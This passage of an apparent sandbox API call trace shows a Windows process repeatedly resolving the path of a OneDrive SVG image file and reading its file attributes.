ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.932] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.932] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.932] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.933] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.933] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.933] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.933] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.934] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.934] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.934] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.935] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.935] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.935] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.935] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.936] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.936] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.936] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.937] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.937] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.937] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.937] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.938] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.938] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.938] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.938] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.939] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.939] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.939] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.940] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.940] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.940] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.940] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.941] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.941] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.941] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.941] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.942] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.942] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.942] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.943] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.943] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.943] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.943] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.944] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.944] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.944] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.945] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.945] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.945] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.945] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.946] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.946] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, 